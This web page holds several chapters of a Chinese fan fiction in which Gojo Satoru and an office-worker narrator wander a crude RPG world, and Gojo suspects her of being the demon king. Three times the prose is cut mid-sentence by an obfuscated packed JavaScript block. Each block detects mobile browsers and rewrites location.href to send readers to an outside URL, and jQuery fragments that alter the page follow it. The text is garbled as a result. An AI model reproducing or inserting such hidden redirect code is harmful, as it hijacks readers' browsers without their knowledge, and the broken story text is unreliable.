所谓因果律武器,可以无视一切现实的规律和武力值差距,特定的行动将直接导致某种结果——就像无论谁被长老尸体碰到,都必然会满心悲伤地倒下一样。 五条悟神色微妙,表情似乎是有一点不爽,他俯身施压,声音低沉地又喊了她一声:“喂。” 他毫无遮拦的苍眸沉沉地看着社畜,把她吓得视线乱飘,就是不敢抬头看他。 “我可是很强的,你知道吗?” 社畜猛地一抖,总觉得这个姿势和氛围像是在被校园霸凌。 她有点不受控制地想把手中的神器双手呈上,规规矩矩地上供给他。 看见社畜依然很状况外,五条悟继续带着那副风轻云淡的神情,说着些实则狂傲无比的话。 “你这家伙怎么回事啊,乖乖躲在我后面就好了,像刚刚那些人,不夸张地说,就是那种我只要打个响指,就可以全部消失的程度哦,”五条悟随意地抬起手指,微微一弹,“就像踩死蚂蚁一样轻松。” 社畜:“……” 她看了看五条悟修长的手指,又低头看了看自己怀里长老的尸体。 “我都已经问你了吧?‘要动手吗?’”五条悟笑眯眯地说,但语气中分明有被小瞧的不满,“为什么要无视我的话啊,如果你很强也就算了,偏偏你弱得抬一下头脖子都像要断掉诶,既然这么弱的话,接受别人的保护不行吗,不是说了我是勇者吗。” 不要看不起身体破破烂烂的成年人啊!这都是岁月的风霜。 社畜赌气地抬起眼扫了他一眼,又赶紧低下头,尽量不去看他的眼睛。 他确实有着强者的眼神。 强得离谱,力气也奇大无比。 社畜拿出了揣摩领导上意的精神来猜测面前这个少年的想法。 是超级有钱人在餐厅想顺手帮邻座买个单,却发现她不惜刷着盘子也要自己把钱付上的啼笑皆非呢? 还是自尊心极重的青少年觉得自己被小瞧了的不满呢? 总感觉更像是后者,那种“我可都准备好大显身手了你却怎么这样”的感觉。 社畜重重地叹了一口气,思来想去,觉得自己作为过来人,应该给这个涉世未深的高专生一点人生的忠告。 毕竟他读的可是高专,毕业之后可能是要马上开始工作成为社畜的吧…… 社畜双手抱胸,神情严肃地盯着五条悟胸口,郑重得仿佛在言说某种真理。 “完成自己分内的工作,不麻烦同事,是一个社畜的基本道德。” 还没等五条悟回应,她连忙小声补充了一句:“当然,只完成自己分内的工作,是一种更高阶的社畜智慧。” 她语重心长地拍了拍他的手臂,像是前辈在指导新员工,自认为情商很高地安抚道:“你确实是很强啦,但是,刚刚那些人只针对我对吧?是我的事情,我当然要在自己能力范围内努力解决啦,虽然责任感在求职市场上很吃香,但是过度的责任心可能会——” 五条悟毫不客气地打断:“可是你很弱啊,一个人傻乎乎地挥舞着老头子打架,看着就很让人着急诶,而且就像一群笨蛋绞尽脑汁地折腾了一个月,结果一个聪明人一个小时就能解决了——甚至还得收拾之前的烂摊子,为了效率和减少损失,那就一开始就该让聪明人来做吧。” 社畜:“……” 怎么年纪轻轻就有这么危险的想法,难道以后要当工贼吗?! 社畜痛心疾首地拍了拍他的肩膀:“只靠一个员工完成大部分工作,那这个公司迟早要倒闭的吧。” “没有办法,但问题是,现实就是这样啊,”五条悟摊手,一副我也很无奈的表情,“就算只靠这么一两个员工也能完成工作,公司也能运转。” “只靠撞运气找到那么一两个聪明的人,而不能培养出基本称职的员工,你们的学校教育和公司培训机制都很有问题啊。”社畜皱着眉反驳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156182|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “和教育培训什么的没关系啦,因为聪明人们的效率太高了,所以总体的工作量就会大幅增加,最后达到普通人根本完成不了的程度。” 社畜更加痛心了:“那政府呢?劳动法呢?规范市场的法规呢?不管的吗?” 五条悟意味不明地勾起嘴角:“嘛,虽然很难按照你的思路跟你解释,但是这方面,确实是从上到下都烂透了。” ……他到底在影射什么啊?社畜也懒得深究了,干脆糊弄地跟着盖棺定论:“年轻人,遇到问题不要太内耗,多想想别人的问题。” “是是——”五条悟也敷衍地回应着。 “可是这些聪明人也没有那么聪明嘛。”社畜忍不住小声吐槽了一句。 “哈?”五条悟的笑意瞬间冷了几分,眯起眼睛盯着她。 莫名其妙的,这个青少年还不爽上了。 “是啊,如果足够聪明,怎么想都应该跑路吧,要是所有的公司都一样烂,跑不掉的话,那就想办法把同事也都给教会了,而不是自己一个人吭哧吭哧埋头苦干吧。” “聪不聪明都是天生的啦。”五条悟撇撇嘴。 “那不就又回到了教育培训机制的问题?” “唔。” 五条悟孩子气地鼓起脸颊,不愿意再继续这个无聊的循环问答。 他直起身子,看向前方,咬着牙小声说:“上次不是说好了吗,下一次见面的时候,会让你好好见识一下我的实力。” “你说啥?”社畜完全没听清。 五条悟摇了摇头,眼前的笔直大道竟然只有一个方向,根本让人问不出“接下来我们去哪?”这种问题,他只能耸耸肩,说出:“走吧。” “哦。” 社畜摇摇晃晃地把长老放在地上,从兜里掏出五条悟的墨镜:“要不然你还是戴上吧?” 他的眼睛太有震慑力了,让她连要看着别人眼睛说话这种基本礼节都做不到。 “不戴,这里除了我,一点咒力都没有,戴了也没什么用。”五条悟没有伸手接下。 然后他随意地扫了社畜一眼。 这个眼神,在社畜看来—— 好傲慢! 好恶劣的性格! 社畜暗暗咬牙,泄愤地把墨镜丢在路边。 所以说,什么动漫啊、游戏啊,统统都是骗人的。 青春期的年轻人哪有可能去拯救世界,因为他们都是臭屁又以自我中心不考虑他人的小鬼而已。 她无奈地叹了口气,弯腰准备捡起地上的长老。 “这个游戏,简陋到连个背包系统都没有的吗?”五条悟忽然声音古怪,却又意味深长地开口。 “有背包的啊。”社畜抬头,狐疑地看了他一眼,顺手把长老收进了背包里。 她总觉得……这臭小子是在讽刺她傻,竟然拖着长老跑了一路,都没想到过把他收进背包。 好像确实有点笨。 她讪笑了两声,为了缓解尴尬没话找话地赶紧换了个话题:“我们现在去哪?” 不知什么时候出现在路边的路牌,回答了她的问题。 只有一个方向,所以也就只有一个箭头。 路标上面赫然写着—— 【勇者之剑】 明明只是一个普通的路牌,五条悟眸光一闪,静水流深的眼眸瞬息凝结成冰。 5. 勇者悟 “喔喔喔喔喔喔喔这是要去拔勇者之剑了吧!”社畜受到路牌的鼓舞,充满了决心,仿佛已经看到了通关的曙光。 “值得这么高兴吗?”五条悟懒洋洋地瞥了她一眼。 “当然啦!一般的流程不都是这样的嘛,先去拔勇者之剑,然后走个什么迷宫,最后就是打败魔王或者恶龙!我们就可以通关出去了!完美!” “这么遵守流程,社畜小姐是做什么工作的?”五条悟歪头,一道幽幽的审视目光投在了社畜身上。 “不管什么工作,遵守SOP(Standard Operating Procedure,标准工作流程)都是基本素养吧!” “所以你的工作是什么?”他不依不挠。 “嘛,有点难解释,是创意类的工作,简单来说算是负责给一个游戏设计整体的世界观。” “哦?游戏公司?”五条悟不紧不慢地开口,“我们现在所处的这个游戏,不会刚好就是社畜小姐公司的作品吧?” 社畜的脸瞬间垮了下去:“这么粗制滥造又不走心的游戏,别说赚不到钱了,设计师或者项目owner应该自杀谢罪吧!” 面对着眼前空无一物的道路,想起之前丝毫没有游戏体验的经历,社畜痛苦地闭上了双眼。 太劝退了。 “不过,按照NPC的说法,魔王也可能就是社畜小姐哦。”五条悟慢悠悠地开口。 分不清他是真的这么怀疑,还是故意在逗社畜玩。 有如实质的目光一落在社畜身上,她就不受控制地打了个寒颤。 “这是什么无中生有的指控啊!肯定是村长误会了!是我把你召唤出来的诶!魔王怎么会去召唤要灭掉自己的勇者,按照经典设定,我应该是守护这个世界,并且陪伴勇者成长的女神啦女神。” 一而再再而三地被误解,社畜急得不行。 “哦——”五条悟拖长语调,“这么说的话,魔王应该就乖乖待在魔王城,等我们去砍……” “对对对,魔王肯定好好地待在魔王城里,等我们拔完勇者剑,找过去的时候你就知道了!”社畜拼命点头。 “没有待在魔王城里也不是魔王的话,社畜小姐平时是在什么样的公司里上班的呢?” 比起他们所处的这个游戏副本,五条悟似乎总是对她本人的兴趣更大一点。 ……尽管如此,社畜依然微妙地感觉到,是从刚刚问她背包系统还有路牌出现之后,五条悟对她的态度好像突然产生了一点变化。 似乎莫名其妙多了一点怨怼和不信任。 “怎么又绕回来了啊?” “好奇嘛,也想再确认一下社畜小姐是不是魔王。” “这跟我是不是魔王有什么关系啊,虽然是我召唤的你,但我也是被拉进这个鬼游戏的啊!” “讲讲看嘛。”五条悟露出一个帅气的笑容,一看就向来很会熟练地运用自己的美貌武器。 社畜与其说是被这个笑容迷倒了,不如说是被这双覆盖着如天使羽翼般长睫的微弯笑眼夺去了心智。 她不由自主地开口解释道:“……是一家很大很大的巨头企业。” “有多少员工?” “就我一个吧,哦不,还有我的领导。”说起领导,社畜嫌恶地皱了皱眉。 五条悟一顿,额头隐隐要冒出一个“井”号,忍住了吐槽的欲望。 他很想面带微笑地把手按在社畜脑门上,让她再冷静思考一下。 “只有你和你领导的‘巨头’企业?”他终于开口,“你是认真的吗?” 当他是傻子吗…… “对啊,”社畜一本正经地点头,“公司的组织架构就是这样的啦。” 五条悟叹了口气:“社畜小姐,你就是那个实则是笨蛋的‘聪明人’,然后被公司压榨得死死的吧?” 如果她没有在开玩笑的话,刚才对着他发表的那一大通“聪明人”与“公司”的言论,难道是什么亲身经历之后的肺腑之言?! “别说得那么悲壮啦!虽然我确实试图辞职了无数次,辞呈也提交了很多次,但是每次都被否决了,而且不管我怎么摆烂,这个破公司居然一直倒闭不了。” “摆烂?社畜小姐你刚刚可是一本正经地在讲‘责任感’呢!” “我很有责任感啊,不仅一个人努力支撑着公司,某种意义上,也是在支撑地球的运转吧。”社畜严肃地点了点头,甚至露出了一种“命运如此沉重我却不得不背负啊”的豁达表情。 感觉是个脑子有点坏掉的中二病。 “只靠一个员工完成大部分工作,那这个公司迟早要倒闭的吧。”五条悟惟妙惟肖地模仿着社畜刚刚说过的话,原封不动地还了回去。 “是的,我也很希望公司赶紧倒闭,可惜现实就是这么无情。”社畜摊手。 “一边说着公司对世界很重要,一边希望它倒闭,真是矛盾呢。” “只是觉得我不适合这份工作的气话啦!” “即使这样都倒闭不了,公司究竟是怎样发展到今天的?” “虽然它是个巨头企业,但似乎是一点点吞并成长起来的,等到回过神来,已经变成了没有人可以抗衡,也无法轻易倒闭的庞然大物了,”社畜一脸深沉,“是非常讨厌的巨头,这种公司当然找不到什么人,所以也就只能靠我这样老实本分的员工来填坑了。” 五条悟目光复杂地看了她一会儿,有些头疼地把视线挪到远方枯燥单调的风景上。 ——这个社畜小姐,真的只是单纯的“社畜”吗? 而且,她很擅长一个人自说自话,也不管别人到底听不听得懂。 更可怕的是,她说出来的话,总是游走在一个很微妙的分界点上。 既让人觉得好像有些道理,感觉她是认真的,又让人觉得莫名其妙,好像哪里不对劲,像是在开玩笑。 偏偏她的表情总是一本正经,深信不疑,不管说出什么话也从不磕绊,非常流畅,不像是现编的。 还是感觉对不太上电波呢,五条悟觉得有点苦恼。 和她对话,感觉要比打特级咒灵还费脑子。 * “哦哦哦!出现了,这就是勇者之剑吗?还原度未免太高了吧!” 社畜和五条悟嘴上的交锋暂时休战,路中间突然出现的奇怪物品,让她忍不住发出一声惊呼。 她兴奋地冲上前去,眼睛里闪烁着找到了金色传说级道具的光芒。 ……但问题是,无论对于“勇者之剑”的形式再怎么宽容,这东西怎么看都不像是一把剑。 不管用多大的想象力,摆在路中间的这东西,都只可能是一把手枪。 道路中突然出现一把枪已经够诡异的了,要说哪里更离谱,那就是这把枪也没有插在什么经典的石头缝里,也没有镶嵌在华丽的底座上面,而是被某种奇怪的装置夹着。 枪下面固定住它的东西,反而像是《迪迦奥特曼》中的变身器—— “神光棒?”困惑的声音却是旁边的五条悟发出来的。 一根并不算细长的柱状物稳稳立在地上,顶端分开两瓣,仿佛专门为了固定这把枪而存在,像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156183|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么特质的枪套,扳机和枪暴露在外面,刚好能让人随时取走。 社畜在发现五条悟竟然认识神光棒的那一瞬间,猛地转头看向他,却收获了一个对她的反应感到莫名其妙的目光。 来不及细想为什么一个应该是虚拟存在的人物会看过《迪迦奥特曼》,她欣喜地走过去:“这才算得上是新时代‘勇者之剑’嘛,果然是时代变了!这玩意儿绝对比长剑好使!” 说着,她非常自然地握住手枪,随手一拔。 手枪纹丝不动。 她尴尬地放下手:“我果然不是被勇者之剑承认的勇者啊。” 还不等五条悟开口,她已经进入自说自话的模式:“说真的,都什么年代了,怎么还是用剑来选择勇者啊?这未免也太宿命论了吧,就不能尊重人的自由意志吗?为什么不能是想成为勇者的人自己站出来成为勇者,而不是被一把破剑挑选呢?人生应该是去饭店随便点想吃的东西,而不是被厨师omakase决定今天吃什么吧……” “嗯。” 话没说完,因为五条悟伸过手来,不愧是名正言顺被召唤出来的勇者,只是轻轻一提,枪就轻而易举地脱离神光棒,顺滑地到了他的手里。 物品框也顺势浮现在空中。 【勇者之剑】 稀有 0~1伤害射击 武器动作:正义之弹(无需装弹,直接上膛,扣动扳机,这把手枪就能消灭魔王) 物品描述: 心生杀意,死亡已决。 伤害只有0或者1,因为人只有生或者死。 社畜目瞪口呆。 我的老天爷啊什么因果律武器的究极形态啊! 这根本就不是手枪吧,这是传说中每个大人物都拥有的核弹小按钮吧。 只要按一下,魔王就会当场灰飞烟灭的程度。 野啊,勇者之剑。 连物品描述都如此帅气。 社畜陷入了深深的思考:“……这么一想还挺羡慕魔王的,生和死的界限这么清晰,也算是一种幸福,反倒是社畜才会半死不活地像个行尸走肉一般活着……” “咔哒。” 清脆的上膛声响起。 冰冷、坚硬的枪口,无情地抵上了社畜的太阳穴。 她僵住了。 社畜不敢扭过头去,但是她知道这个白发少年大概在用深海一般冷寂无光的眼神看着她。 她猜测他的脸上还会带着恶劣的笑意,仿佛一切都不过只是个无伤大雅的玩笑。 “呐,要试试看吗?可能是魔王的社畜小姐。” 她的耳边传来长着天使般白发蓝眼恶魔的低语。 “你先把枪放下,有话好好说啊啊啊啊啊——!!” 社畜下意识地迅速抬起双手,尴尬地举在空中,力证自己的弱小和无辜。 五条悟似乎对她的反应感到十分有趣,饶有兴致地继续逼问:“其实我早就想问了——” 五条悟只是轻轻用力,枪口稍微往前一顶,社畜的脑袋就顺势歪了一下。 “社畜小姐,看起来非常怕我呢。” “害怕到了甚至不敢和我对视的程度,搞得我都要怀疑自己是什么一察觉到视线就会自动展开攻击,穷凶极恶的咒灵了。” “真是奇怪啊,你不是口口声声说我是你召唤出来的勇者,需要我帮忙通关,不管怎么想都没有理由怕我吧?” 他的话音一顿,嘴角扬起一抹耐人寻味的笑意。 “难道说——” “社畜小姐,其实你是咒灵?” 6. 勇者悟 “别胡说八道啊啊啊!——等下,请问,咒灵是什么?” 她觉得这不像是什么好东西。 五条悟笑得轻蔑:“还要我提醒你吗?你们咒灵,就是非咒术师的普通人类日常所泄露出来的负面情绪——也就是咒力——堆积沉淀,最终形成的东西。” 社畜瞳孔地震,顿悟一般地点头:“这么说起来,我好像真的是个咒灵!” “哦?说说看?” “我时常感觉自己已经不是人了,”社畜苦恼地垂下眼睛,深深叹了一口气,“而是一团由上班的怨气凝结而成的可怕东西。” 五条悟:“……” “……你不是咒灵,”五条悟嘴里这么说着,手枪却依旧稳稳地抵在社畜头上,“据我的观察,社畜小姐是人类无误。” 社畜松了一口气:“那你刚刚还这么笃定地说我是咒灵!害得我都对自己产生怀疑了!” 五条悟露出一个阳光的笑容,好像拿手枪抵着一个无辜的人问话是什么天经地义的事情一样:“吓吓你嘛,看看能不能诈出什么东西。” “既然知道了我是人类,那就快把枪放下!这样真的很危险啊!” 五条悟依旧不紧不慢地开口:“我只说了社畜小姐是人类,可没说你是个‘好人’吧?” 社畜:“……” 他抬眼看了一下周围单调的景色:“说实话,要非常迟钝才会察觉不到,这里一切剧情和环境的发展,都完全随着社畜小姐的想法和意志来呢。” 社畜只是盯着陶罐看了一会儿,空荡荡的陶罐里就冒出了金币。 社畜想要突围NPC的封锁,手边就能出现趁手的道具。 社畜想起来这个世界没有背包系统,他发现马上就出现了物品背包。 社畜刚刚问路,路边就出现了路牌。 …… 五条悟挑眉:“呐,我们现在所处的这个游戏,大概就是社畜小姐的术式或者领域吧?” 每次被这种复杂又突破常理的现代咒术纠缠上的时候,五条悟偶尔会短暂地认可一下保守派的主张,希望什么咒术和领域越传统简单易懂越好。 社畜又糊涂了:“领域又是什么?” 五条悟完全不打算回答这个问题:“再结合社畜小姐说过的话——我想,你的真实身份,大概是——诅咒师?” “啊?我吗?” 社畜其实很想问他“诅咒师”究竟是什么,但是她估计五条悟也不会回复她。 反正听起来也不是什么好词就对了。 “宾果~”五条悟扯起嘴角,露出一个倨傲又得意的笑容,“我猜啊,你是不是因为被谁或者什么咒灵派来实行‘消灭五条悟’这种基本不可能完成的任务,所以才对‘领导’和‘公司’这么怨气冲天呢?社畜小姐。” “不要把人想象成因为上班压力太大满腹怨气就要无差别攻击杀人的那种疯子和混蛋啊!我只想过平静的生活而已。”社畜震怒,立马为自己辩解。 五条悟皱了皱眉。 感觉他们两个都在鸡同鸭讲。 “在装傻吗?还是说……要开启这样的一个领域,需要付出的束缚,把你自己变成了现在这个样子?没有咒力也没有记忆……”五条悟慢吞吞地说着自己的猜测,边说,边眯起眼睛,仔细观察着社畜的神色。 但社畜脸上是毫不作伪的茫然。 五条悟夸张地叹了一口气,撇着嘴说:“那么问题来了……你们一而再再而三地接近我,究竟有什么目的呢?每次都迟迟不动手,难不成是什么美人计攻心计吗?起码也要派井上和香这种程度的美女才有说服力吧!” “长得不像井上和香真是对不起你了!啊不对!我要说的是,谁要来攻略或者刺杀你啦,完全没有这回事吧!”社畜忍不住抬高了音量,完全不理解眼前男高的脑回路。 她正想再争辩几句,但突然震惊地停了下来,不顾枪口还对着自己,猛地转身看向五条悟:“等,等下,你的世界也有井上和香?” “当然有啊,我的手机壁纸哦~”五条悟偏了偏头,从枪口后面探出来和她对视。 “怎么总感觉……不那么像是一个虚拟人物了……”社畜喃喃自语。 又开始自说自话了,五条悟有点头疼地强调:“别打岔,先回答问题,说说你们究竟有什么目的。” “自我意识别太强了吧!为什么会觉得有人要杀你或者控制你啊!” “大概,”五条悟慢吞吞地把脸凑到了她的面前,神情中是目空一切的倨傲,“因为我是最强吧,让社畜小姐害怕得不行的这双眼睛,可是能让一切咒力无处遁形的‘六眼’啊。” 太近了,社畜甚至能看见自己在他瞳孔中的倒影。 “好中二。”她撇嘴。 “事实罢了。” “明明你更像反派吧!操纵人类负面情绪的家伙。” “即使是最善良正义的少年漫主角也会燃烧愤怒作为打败敌人的力量,听了社畜小姐的理论,哪怕是坚强的少年漫男主都会落泪的。” “从邪恶反派的角度来看,秉承爱与正义的少年漫女主就是他心中的反派哦。” “对啊反派小姐,我到目前为止的人生,大部分时间都不得不在处理咒灵,或者——” 五条悟抬起另一只手,毫不客气地伸出一根手指,轻轻点了点社畜的额头:“——和像社畜小姐这样的诅咒师打交道哦。” 可恶,社畜一向自豪自己的嘴上功夫,而这个人竟然和她不相上下。 “我真的不是诅咒师啦!”社畜有点委屈地捂住额头,“我们与其在这里废话,不如你赶紧开枪,把魔王解决掉,我们马上出去好了。” 她已经受够了这个离谱的世界,并且再也不想和中二少年一起玩这个什么老二次元回流副本了。 然而,五条悟却露出一个恶劣的笑容。 “才不要~” 他屈肘抬起手臂,把枪挪开,一副“你想让我做什么,我就偏不这么做的样子”,流畅地推起卡扣拉开滑套。 本就没有子弹的枪却发出了子弹被拉出枪膛的声音。 他一翻手腕,把枪收进了物品背包:“太可疑了吧,社畜小姐,仔细一想,这个世界的所有剧情、道具和角色设定……所有的一切,好像最终就是为了让我开出这一枪。” “万一——”他勾起嘴角,语气却变得危险,“我才是这个世界里的‘魔王’呢?” 社畜:??? 疑心太重了吧! 五条悟笑眯眯地举起手,伸出三根手指摆出一个手枪的姿势,对准了自己的太阳穴:“只要听你的话开枪……” “砰!——” 他嘴里模拟着开枪的声音,露出一个戏谑的笑容,轻描淡写地说:“然后就会发现,灰飞烟灭的,是我自己呢。” 表情明明是笑着的,眼睛睁得很大,笑意却没有到达眼底,只是冰冷地注视着社畜。 要不是社畜亲手通过一个写着“勇者”的选项把他召唤出来,她真的觉得这家伙是个不折不扣的魔王。 不管怎么说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156184|164949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自己暂时没有危险了。不过社畜看起来也没有轻松多少,她痛苦地皱起眉头:“你究竟是怎么想的?这个世界究竟是怎么一回事?能不能给我一个明示啊!” “这话,应该我问社畜小姐才对吧?”五条悟一脸无辜。 “所以‘领域’到底是什么啦?” 五条悟深吸一口气,却还是耐心地解释:“不管是不是咒术师,每个人都有自己精神具象化的心象风景空间,这个可以理解吧?领域就是用咒术的力量把这个空间具象化。” “你的意思是,”社畜伸出颤抖的手指,控诉地指向这片敷衍单调的空间,“这里……就是我的精神世界?” 五条悟用“有问题吗?”的眼神瞥了她一眼,插着兜点头说:“也不是没有这种可能……当然,说这里是社畜小姐的领域,只是一种宽泛的说法,也有可能社畜小姐领域的术式是给人植入一段不存在的体验或者记忆之类的……” “你这么说我可以理解了,”沉思片刻后,社畜诚恳地点点头,“但是,可能要让你失望了,我非常确定我是一个没有咒力也没有领域的普通人,是被莫名其妙拉进这个空间里的。” 因为目前只有他们两个人,所以幕后黑手就是她吗?!这个推理逻辑简直和刚刚村长的“因为凶手只能是你且凶手一定是魔王所以你就是魔王”一样离谱。 五条悟沉默地移开视线。 这个社畜小姐简直油盐不进,软硬不吃,她那套漏洞百出的逻辑和认知竟然还能这么自洽和稳固,完全撬不开一点裂隙。 “简直比木偶兽的房子还坚固。”他愤愤地嘟囔了一句。 听见熟悉的名词,社畜再一次难以置信地开口:“木木木木偶兽……你还看过《数码宝贝》?” “硬要说的话我更喜欢游戏啦。” 社畜愣愣地想,他真的……好像……好像是一个“人”啊…… 看过《迪迦奥特曼》……知道井上和香,还把她设作手机壁纸……甚至还看过《数码宝贝》玩过数码兽游戏……这些细节,怎么看都像是个真人才会有的吧?! 但话到了嘴边,她问出的却是:“你也是二次元?” 莫名其妙的问题让五条悟夸张地吐了个舌头,他摆了摆手:“算不上,话说回来,社畜小姐,勇者之剑已经拿到了,接下来也该让我看看什么地下城、什么迷宫、什么魔王城了吧?” ……不要这幅理所当然地觉得她就是幕后黑手的样子啊! 本着物尽其用有道具必捡的原则,社畜爱惜地把孤零零掉落在路上的“神光棒”收进背包里:“当然啊!我也很好奇的好吧。” 话音还未落,大地突然裂开。 * “啊啊啊啊啊——!”社畜尖叫着下坠。 “扑通”一声,社畜屁股着地,重重摔在了地上。 ……好在并不怎么疼。 她起身环顾四周,发现他们身处一个漆黑的大殿。几层台阶之上,是一个洁白、冰冷的王座。 黑与白对比鲜明。 五条悟慢悠悠地从空中飘了下来,毫发无损。 社畜目瞪口呆地看着纯白色得几乎泛蓝的王座—— 这这这不会就是魔王的宝座吧? 就建在会打败自己的勇者之剑正下方吗?这是什么“五步之内必有解药”的设定啊?! 所以这个粗制滥造的游戏连个大战之前的迷宫都懒得设计吗?说好的大战之前必有补给呢?就靠着现在这些贫瘠的资源和道具,两手空空,要怎么打败魔王啊?! 7. 勇者悟 还不等社畜有所表示,一道黑影猛地从黑暗中冲出来。 伴随着沉稳有力的脚步声,一个高大男人闯入视野。 他一身笔挺的西装,纤细的眼镜框架在鼻梁上闪着冷光,还扎着一丝不苟的马尾,这个发型露出了他那对尖尖的耳朵。 社畜一秒就认出了对方的角色定位—— 一看就是魔王最忠诚的属下,既当臣子又当管家还战斗力爆表的那种! ……所以,这种人满脸惊喜地朝着自己跑过来到底是几个意思? 社畜满脸绝望。 她还没想明白,男人已经跑到她的面前,突然“扑通”一声,单膝跪地。 他的双手交叠贴在胸口,带着宗教般的虔诚,俯下身去,看起来是竟然想要—— “等、等一下!不要啊啊啊!这不好吧!!我没有这种癖好啊!!” 社畜惊恐地缩脚,但是已经来不及了,男人俯身,深深地亲吻她的鞋面。 社畜:“……” 她扶额,僵硬地转头,尴尬的目光对上了五条悟审视的双眼。 像是在等待她的解释。 她心如死灰,虚弱地开口:“那个……你听我解释……” 但是西装男已经满脸感动地抬头,眼中闪烁着泪光,喊她:“魔王大人!” ……太好了,感觉再怎么解释也解释不清楚了。 偏偏西装男还在火上浇油,他满腔激动,连说话的声音都在颤抖:“魔王大人!您说您要亲自去把勇者引诱过来,从你出发的那一天起,属下夜不能寐,日夜期盼您的归来,每天都担心您的安危,深深自责于自己当初的莽撞和疏忽……若是属下能再多坚持一下自己的意见,或者如果能再多为您尽一份力,您也不至于孤身犯险!” 他埋头擦了擦泪水,感慨万分地看着她:“终于,看见您平安地回来了,还成功把勇者带了回来,属下罪该万死,竟然曾怀疑过您的睿智与伟大!” 社畜沉默地看着跪在自己脚下的男人,尴尬地想把脚抽出来。 ……抽不动。 等一下,为什么这家伙的发言听起来比她还要清楚她自己到底干了什么啊?! 泼得一手好脏水啊! 她求助的目光看向五条悟,却发现五条悟正闲适地插着兜,看热闹不嫌事大的样子,似笑非笑地看着自己。 明明整个大殿一片黑暗,只有他仿佛被冰冷洁白的月辉笼罩,身形清晰,存在感鲜明得不可思议。表情看好戏一般兴致勃勃,却又无情疏离,事不关己。 社畜用力地吞了一口口水,打小报告似的指着西装男:“错不了,他就是魔王!” 西装男倏地抬头,迷惑地看过来,似乎不懂她的用意。 “这一定是魔王的离间计,他假装忠诚于我,让你对我产生猜疑,勇者悟啊,你要小心了,一旦听信了魔王的花言巧语,我们两个开始互相攻击、自相残杀,任务一定会失败的,等你被剥夺全部的咒力,丢到地下城的迷宫里自生自灭的时候,你就会发现——” 她打了个寒颤,不知道想到了什么,语调凄厉:“搞不好还要被奇形怪状的哥布林撅哦!!” “你平时究竟在看什么东西啊?!”五条悟皱起眉头,一脸嫌弃。 “不说我都要忘了,我的《滑滑腻腻地下城~被啪敷啪敷的勇者之旅》文库本合集还放在家里,快点通关让我出去处理掉啊!!再磨蹭下去又要错过资源类垃圾的回收日期了!” “这种东西怎么可能还会出文库本合集啊……” “可恶啊,这种时候好希望我的小说和漫画突然出现在手边,让我能赶紧逃避一下现实。” “这种现实都步步紧逼到你家敲门的情况下怎么样也逃避不了吧!快开门啦社畜小姐,这种无聊的角色扮演游戏可以结束了。” 社畜:“……” 她默默地闭上了嘴。 ——这家伙根本不打算救她。 甚至……她心中隐隐冒出一个猜测,眼下的这一切,不会就是五条悟一手策划的好戏吧? 西装男埋下头去,沉吟片刻,不知道想通了什么关窍,终于缓缓地站了起来,气势也变得阴沉:“没错,我就是魔王。” “你看!”情况反转,社畜喜不自胜地指着西装男,“我就说这是魔王的阴谋吧!” “没错,这都是魔王我的阴谋。”西装男一脸忠心耿耿的表情。 社畜说什么,西装男就跟着重复什么,依然是那副社畜说一不二的样子。 社畜默默地把手指收了回去。 ……这下更洗不清她的冤屈了。 社畜控诉的视线刚和西装男一对上,他就马上一副“属下明白!”的表情,伸出手,黑色尖爪凸起的瘦削手掌一把扼住社畜的咽喉,最尖利的爪尖抵在动脉前面。 “你,勇者,快把勇者之剑交出来,不然我就杀了她。” 五条悟好笑地掏出枪,毫不在意地在手上转了一圈:“这个东西吗?” 社畜难以置信地盯着他的手,她总感觉……手枪并没有接触到他的手,但是确实在转动无误。 然后,他就这么随手把枪丢在了他们面前的地板上,随意得仿佛是在丢弃什么刚喝完的饮料罐,金属与石板相击发出清脆的响声:“喏,给你们。” 西装男眯起眼,随即松开社畜,转而捏住她的后颈,往前一推:“你,去把勇者之剑捡回来。” 社畜往前一个踉跄,就这么扑在了勇者之剑前面。 她茫然地抬头,看向一旁悠闲看戏的五条悟。 ……感觉给他一桶爆米花,他都能津津有味地吃起来。 她又回头看了一眼表情中分明就是在说“放心吧属下明白您的一切安排”的狗腿西装男—— 不明白这两个人究竟有什么意图,她只能无奈地伸手去拿勇者之剑。 ……拿不动。 社畜转而用指甲去抠,手枪却仿佛天生和地板融为一体,无法分离出哪怕一丝缝隙。 社畜的表情逐渐扭曲。 这什么勇者之剑啊,分明是雷神之锤吧?!除了勇者其他人别说拔不出来,就连拿都拿不动是吧?! “哦呀,怎么回事呢,社畜小姐,明明就是你创造的世界,你自己却拿不起来普普通通的一个道具吗?”五条悟不紧不慢地走了过来,蹲在社畜旁边说着风凉话。 